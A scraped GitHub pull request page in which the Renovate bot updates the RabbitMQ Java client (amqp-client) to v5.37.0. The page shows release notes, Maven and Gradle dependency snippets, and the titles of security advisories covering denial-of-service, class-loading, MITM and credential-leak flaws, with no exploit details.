GitHub PR: #1922

Use RPC timeout for `ChannelN.close`

GitHub issue: #1907

Improve `PemReader`

GitHub PR: #1903

Bump dependencies

GitHub issue: #1888

Dependency

Maven

<dependency>
  <groupId>com.rabbitmq</groupId>
  <artifactId>amqp-client</artifactId>
  <version>5.30.0</version>
</dependency>

Gradle

compile 'com.rabbitmq:amqp-client:5.30.0'

`v5.29.0`: 5.29.0

Compare Source

Changes between 5.28.0 and 5.29.0

This is a maintenance release with a new feature and dependency upgrades. It is compatible with 5.28.0. All users are encouraged to upgrade.

Thanks to @hgeraldino for his contribution.

Support PEM keystores

GitHub issue: #1837

Bump dependencies

GitHub issue: #1814

Dependency

Maven

<dependency>
  <groupId>com.rabbitmq</groupId>
  <artifactId>amqp-client</artifactId>
  <version>5.29.0</version>
</dependency>

Gradle

compile 'com.rabbitmq:amqp-client:5.29.0'

`v5.28.0`: 5.28.0

Compare Source

Changes between 5.27.1 and 5.28.0

This is a maintenance release with a bug fix and dependency upgrades. It is compatible with 5.27.1. All users are encouraged to upgrade.

Revert ConnectionFactory return type in some methods

GitHub PR: [#1813]

[!IMPORTANT]
✂ PR body was truncated to here.

Configuration

📅 Schedule: (UTC)

Branch creation
- At any time (no schedule defined)
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

…urity]

renovate Bot force-pushed the renovate/rabbitmq.client.version branch from 842d252 to 505c077 Compare September 20, 2026 01:01

renovate Bot changed the title ~~fix(deps): update dependency com.rabbitmq:amqp-client to v5.33.1 [security]~~ fix(deps): update dependency com.rabbitmq:amqp-client to v5.34.0 [security] Sep 20, 2026

fix(deps): update dependency com.rabbitmq:amqp-client to v5.37.0 [sec…

b2153b5

…urity]

renovate Bot force-pushed the renovate/rabbitmq.client.version branch from 505c077 to b2153b5 Compare October 17, 2026 15:33

renovate Bot changed the title ~~fix(deps): update dependency com.rabbitmq:amqp-client to v5.34.0 [security]~~ fix(deps): update dependency com.rabbitmq:amqp-client to v5.37.0 [security] Oct 17, 2026

Navigation Menu

Repository navigation

fix(deps): update dependency com.rabbitmq:amqp-client to v5.37.0 [security] - #212

fix(deps): update dependency com.rabbitmq:amqp-client to v5.37.0 [security]#212
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/rabbitmq.client.version

renovate Bot commented Aug 18, 2026 •

edited

Loading

Uh oh!

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate Bot commented Aug 18, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

RabbitMQ Java client ValueReader: Unbounded recursive table/array nesting causes StackOverflowError DoS

Details

Summary

Vulnerable Code

Attack Scenario

Impact

CWE

Remediation

Severity

References

RabbitMQ Java client ValueReader: Oversized LongString/bytes length triggers OOM via unchecked allocation

Details

Summary

Vulnerable Code

Attack Scenario

Impact

CWE

Remediation

Severity

References

RabbitMQ Java client: Unvalidated Class.forName in JSON-RPC ProcedureDescription enables arbitrary class loading

Details

Severity

References

RabbitMQ Java client: TrustEverythingTrustManager used by default in useSslProtocol() enables MITM

Details

Vulnerability Summary

Affected Components

POC (Verified on Java 21, amqp-client 5.25.0)

Attack Scenarios

Suggested Fix

Severity

References

RabbitMQ Java client malformed body frame triggers raw command assembler exception

Details

Summary

Details

PoC

Impact

Severity

References

RabbitMQ Java client accepts broker frames larger than the negotiated AMQP frame_max

Details

Summary

Root cause

Severity

References

RabbitMQ Java client has frame-level OOM: Math.min(maxInboundMessageBodySize, 0) defeats frame size enforcement

Details

Vulnerability

Attack Scenario

Root Cause

Impact

Affected Code

Suggested Fix

Severity

References

RabbitMQ Java client: plaintext broker credentials leaked in exception message from ConnectionFactoryConfigurator.load()

Details

Summary

Details

PoC

Impact

Severity

References

RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers

Details

Summary

Details

PoC

Impact

Severity

References

RabbitMQ: JSONReader in the default JSON-RPC mapper never terminates on truncated input, causing DoS

Details

Summary

Proof of concept

renovate Bot commented Aug 18, 2026 •

edited

Loading

`v5.37.0`: 5.37.0

`v5.36.0`: 5.36.0

`v5.35.0`: 5.35.0

`v5.34.0`: 5.34.0

`v5.33.1`: 5.33.1

Harden `ValueReader`

`v5.33.0`: 5.33.0

`v5.32.0`: 5.32.0

`v5.31.0`: 5.31.0